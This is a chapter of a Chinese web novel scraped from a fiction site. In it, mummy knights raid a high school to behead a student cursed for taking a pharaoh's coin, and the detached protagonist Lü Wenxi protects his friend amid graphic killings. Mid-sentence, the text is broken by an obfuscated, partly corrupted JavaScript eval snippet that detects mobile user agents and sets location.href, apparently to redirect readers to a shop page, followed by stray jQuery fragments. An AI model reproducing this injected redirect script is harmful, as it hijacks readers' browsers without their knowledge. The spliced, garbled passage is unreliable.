风竹小说 > 都市言情 > 我唤醒了灵气复苏 > 2. 但是主不在乎

2. 但是主不在乎

    昏暗的房间里窗帘紧拢。

    日光透不进来,明灯也被刻意熄灭。

    只剩下死一般的鸦寂。

    在这百来平的主卧室里,为数不多的几件家具大都线条利索,极尽简约,却也价值不菲。

    卧室主人的私人物品少之又少,强迫症似的,全都井井有条工整俨然地摆放着。

    没有光亮散布的黑暗中,这空旷的卧室犹如最森冷的精装豪华样板间,生活气息稀薄。

    仅有的一抹微弱“人气”落在那正中央的大床上。

    哈——嗬——哈——

    嗬——

    沉重粗厉的喘息声在这方空间回荡,像是破败的旧风箱,发出刺啦刺啦的漏风声,又被冷白的墙壁拍打出回声。

    嗬嗬——

    喘息声越来越大,带动着发出声音的主人也开始颤栗。

    他用灰色的薄被将自己牢牢包裹全,可颤抖的身躯带动着被褥、乃至床榻一并抖动起来。

    造价高昂的实木大床不堪其重发出哀嚎,床上人的喘息声同样越来越痛苦,越来越尖锐。

    仿佛终于在此刻达到了忍耐的极限,林嘉渊再也抓不住那遮挡自己古怪变化的薄被,痛苦哀嚎着伸长了苍白病态的脖颈。

    在他的身体下,无数森白的蚕丝正以疯狂的速度向外蔓延着。

    这些蚕丝在黑暗里散发着幽幽冷光,状似极细腻而柔软,可实际上锋利无比,眨眼间便将林嘉渊身上的薄被撕成了无数细小碎片。

    薄被里柔软的绒毛四散飞扬,如雪花般轻盈飘起又缓缓落下。

    落在林嘉渊的身上。

    又或者说,落在林嘉渊结成的蝶茧上。

    轻薄半透的茧衣之下,异色的组织骨肉在不断翻涌。

    喘息声不知何时消失了。

    只剩下一点极其微弱的,那囚结在蝶茧里的缱绻呼唤——

    “律闻西。”

    “律闻西……”

    -

    “律闻西……要不你拧我一下,我好像出现幻觉幻听了……?”钱进满脸震撼地看向窗外的“不速之客”。

    他不可置信地反复揉着眼睛,可窗外的景象没有丝毫的变化。

    那如黑云压城般的空中骑士依旧气势逼人,僵白的飞马踏空前进着,刚出现时还在极远之外,此刻却快速迫近着。

    “El robador de nedes d''''oru del rei, decapitado——”

    空灵的吟唱始终于空中回荡盘旋。

    赵俊急促叫道:“我靠什么见鬼的幻象,你没看到玻璃都碎成粉末了吗!!外面都是什么鬼东西啊?外星人还走君主立宪制调遣骑士吗??”

    我肯定是学疯了!!

    赵俊做梦都没梦到过这么离奇的画面!

    律闻西从桌面拾起跌落的硬币,耸肩道:“没准是奴隶制呢?比起纠结这个,还是先跑起来吧。”

    他的目光落在钱进身上,钱进猛地一颤,结结巴巴道:“我、我我我我跑?”

    是这个意思吗?

    律闻西扫视一圈开始骚动的教室,哪怕老师极力控场,可被未知所裹挟的恐慌依旧在迅速蔓延,已经有人试图拔腿往外跑。

    “废话,我们一起,快!”

    律闻西的声音终于带上了几分严肃,话音未落,钱进和赵俊便言听计从地起身。

    律闻西将近一米八,腿长步子大,几步就迈到门边上。钱进和赵俊都紧紧跟在他身后。

    “所有人不要乱跑!听从广播指令……”

    讲台上老师的厉声呼喊被他们抛在脑后,赵俊略微一滞,极快地看了眼声嘶力竭的老班,最后还是咬了咬牙快步跟上前面的律闻西。

    他们的离去无疑是加快了教室内秩序的崩塌,也许再过两分钟,高三二班就会像他们现在路过的那些教室一样,所有人都在争先恐后地往外冲。

    可是律闻西不在乎。

    他没兴趣当什么救世主。

    律闻西在主神空间待了十二年又六个月十三天。

    整整四千五百七十五天。

    人对这一生的时间感知并不是匀速均等的。

    刨去牙牙学语的模糊幼年时,律闻西在这和平蓝星上也不过十来年的过往经历,且绝大部分的时间里都遵循着填鸭式应试教育的刻板成长轨迹。

    在他有所感知的这些过往年岁里,主神世界的日子早已比他是普通人的日子还要漫长了。

    这些过往经历一并构成了现在的律闻西。一个习惯了生死离别,乃至对他人死亡冷眼旁观的律闻西。

    当秩序注定趋于混乱时,能对自身负责的只有自己本身。

    就好比眼前这场无法避免的险境。

    众人对这群不速之客惊惧惶恐,一无所知,可律闻西知道这些所谓的“骑士士兵”究竟是什么东西。

    严格来说,这是一支木乃伊骑士卫兵队。

    与钱进捡到的那枚印有律闻西肖像的金币源于同一位面,是律闻西曾经历过的大型阵营对抗任务位面。

    律闻西进行大型阵营对抗任务时,那个位面正处于古代奴隶制的社会时代,背景近似蓝星上的古埃及,相似而又有大大小小的差异不同。

    当时的国王或者说是法老王,年迈病弱,王位继承人之争打得火热,而他们这些无限执行者的任务就是帮助自己所选阵营的王子成功继位称王。

    律闻西总在赢。

    这次大型阵营对抗任务同样赢得漂亮。

    而那位他所支持的,最终成为新法老的王子,名叫图坦拉蒙。

    这群木乃伊士兵就是他的近卫骑士队。

    那漆黑盔甲上太阳纹叠交叉剑柄的图案还是律闻西当时随手画的。

    彼时的律闻西随手拿了根树枝,在漫漫黄沙上漫不经心地涂画。

    圆润而充满几何美感的太阳图案,再加上两柄笔直的骑士剑交叠竖于前。

    律闻西只是打发时间似的消遣作画,图坦拉蒙却不容拒绝地将其视为新国度的图腾与信仰。

    就像他非要将律闻西的肖像印在金币之上一样。

    图坦拉蒙或许曾认为这个太阳神庇佑的国度会是他和律闻西永恒的国。

    只可惜共享权柄的律闻西绝不可能永远留下。

    律闻西永远不会选择留下,可这些黑甲木乃伊骑士则是毫无选择地永远困在了历届法老王的陵墓里。

    就像图坦拉蒙的父亲死前为自己准备了百千陪葬木乃伊一样,图坦拉蒙同样也会为自己配置豪华的木乃伊军团。

    律闻西在那个位面时没机会见识,没想到退休后反而看见了。

    这些黑甲木乃伊没有血肉,没有痛楚与感知,唯一的行动准则即是王命。

    而图坦拉蒙曾经作下诗歌的诅咒,同样也在王命的范畴之内。

    El robador de nedes d''''oru del rei, decapitado

    盗取王之金币者,当受斩首

    钱进未得应允便拾取了图坦拉蒙王朝的金币,因而被视为盗取,触发了图坦拉蒙的诅咒。

    这群木乃伊士兵,是为着斩首受诅咒者而来的。

    如果这个倒霉蛋是别人也就算了,律闻西压根懒得掺和。

    蓝星上总共有82亿人,死掉一半律闻西也无所谓。

    可偏偏是钱进,他还算有印象的旧时好友。

    看在那些年晚自习睡觉打的掩护上,律闻西觉得钱进这小倒霉蛋子也不是不能再捞一把的。

    律闻西指尖轻点着金币的表面,思索着接下来的应对方式。

    虽然他不知道这些黑甲木乃伊是怎么来的,但是律闻西可以断定它们身上一定还残存着世界意识的限制。

    蓝星所在的这个位面或许因为某些原因出了点小问题,破了个小洞,但这个位面到底还没死,就算其他位面想要入侵,也得循序渐进。

    黑甲木乃伊这种超凡生物显然远远超过了当前位面的生物等级上限,是一种打破壁垒的“不科学”存在。

    位面的壁垒被打破,即当前世界被迫升格。

    对律闻西而言,最直接的体现就是他的封印也在松动。

    律闻西转而紧握金币,能够明显感觉到体内的源灵力正在汩汩涌出。

    他的速度越来越快,末梢隐隐发红的发丝被无形的风扬起。

    落在他身后的钱进和赵俊跟得越来越吃力,大步大步跑着也还是落后律闻西一大截。

    “律哥我们要往哪里跑啊?”

    钱进时不时慌张瞅眼半空中的骑士大军,难掩恐惧地问道。

    律闻西表情丝毫未变,声音镇静道:“随便

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16976520|193521||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    哪里,动起来,混在人群里不要停下。”

    “呃啊啊啊啊这是什么意思?”

    钱进不明白。

    钱进无脑照做。

    律闻西这样说肯定有他的道理。

    赵俊倒是似乎脑补了些什么乱七八糟的,闻言瞳孔地震地看着律闻西,神色几番变幻。

    律闻西不在乎他们在想什么,但他对二人的听话识趣还算满意。

    毕竟他要保钱进不是空想。

    眼下黑甲木乃伊骑士来势汹汹,他们是在与死神赛跑。

    现在就看是死神跑得快,还是律闻西恢复源灵力的速度更快了。

    咚——!!

    ——!

    一柄散发着冷白剑光的骑士剑直直地插进一个逃窜学生的胸膛。

    被击中的学生茫然地低头看向自己的胸膛,后知后觉的剧烈疼痛顷刻爆发,凄厉的尖叫震得周围人头皮发麻。

    剑柄彻底穿透了他整个胸膛,似乎也连带划伤了心脏。尖叫声滑稽地戛然而止,那学生被剑重重钉在墙上,死不瞑目。

    “啊啊啊啊啊啊啊!!”

    “死人了啊卧槽!”

    “!!!啊!啊——!!!”

    “……”

    周围人的惊惧叫喊一声比一声大,死去学生身旁的几人更是被溅上了鲜热的血液,大睁着眼睛做不出任何反应。

    走廊因着第一个学生的切实死亡陷入更大的混乱中。

    可这还仅仅只是一个开始。

    披坚执锐的木乃伊士兵们在距离教学楼百米处,已然开始进攻。

    接二连三被投掷出的利剑恍若索命的死神锁链,每一击都带走一个鲜活的生命。

    律闻西眼底闪过一道冷冽的暗芒。

    钱进说不出任何话来了。

    短短几分钟里,他与死亡数次擦肩而过。

    有好几个瞬间,如果不是律闻西拽着他,钱进已经被这些巨剑片成烤鸭了!

    钱进被律闻西一手拽着踉跄快速前行着,毫无规律地穿行在拥挤的人群中。

    在他们周围不断有学生倒下,哭嚎声始终没有片刻的停歇。

    钱进额角的汗彻底打湿了鬓发。

    他就算是再傻再迟钝,此时也意识到这群奇怪的骑士兵团是冲着他来的了。

    那一柄柄巨剑,每一投都是朝着他的位置掷来。

    可是为什么?

    除了那个古怪的硬币外,钱进再也想不到其他的可能了。

    那枚硬币现在还在律闻西手里。

    “律哥,你要不还是自己跑吧!把那个硬币还给我!那是我捡到的!”

    钱进心下纠结再三,还是咬牙冲身前的律闻西吼道。

    律闻西终于回过头来,挑眉冲他笑道:“嚯,还命令起我来了?”

    感受到体内逐渐充裕的源灵力,律闻西转身站定。

    可下一秒他目光微动,仿佛是发现了什么般,突然将手心金灿灿的硬币朝着半空抛出。

    “来了!”

    钱进听见律闻西突然这样说道。

    “谁来了?”他下意识回问。

    律闻西没有回答。

    被他抛起的金币兀自下落。

    仿佛慢镜头一般。

    金币在空中翻转,折射出窗外灼热的阳光与那黑骑士锋利的剑光,也折射出律闻西眼底一闪而过的金红光芒。

    这些光亮交织在一起,奇异到令人骇然。

    钱进默然失语,怔怔地看着律闻西。

    而那些被金币所反射光芒照耀到的黑骑士动作肉眼可见的迟钝下来。

    在钱进恍惚的瞬息,刺眼的剑光闪过,又是一柄利剑冲着钱进袭来。

    可这一次,律闻西没有再拽着他遁入人群。

    律闻西单手接住那下落的金币,反手将金币掷出。

    他投掷的动作轻松写意,可被掷出的金币却蕴含着可怖灭顶的力道,穿破空气的声音呼啸响起。

本章未完,请点击下一页继续阅读>>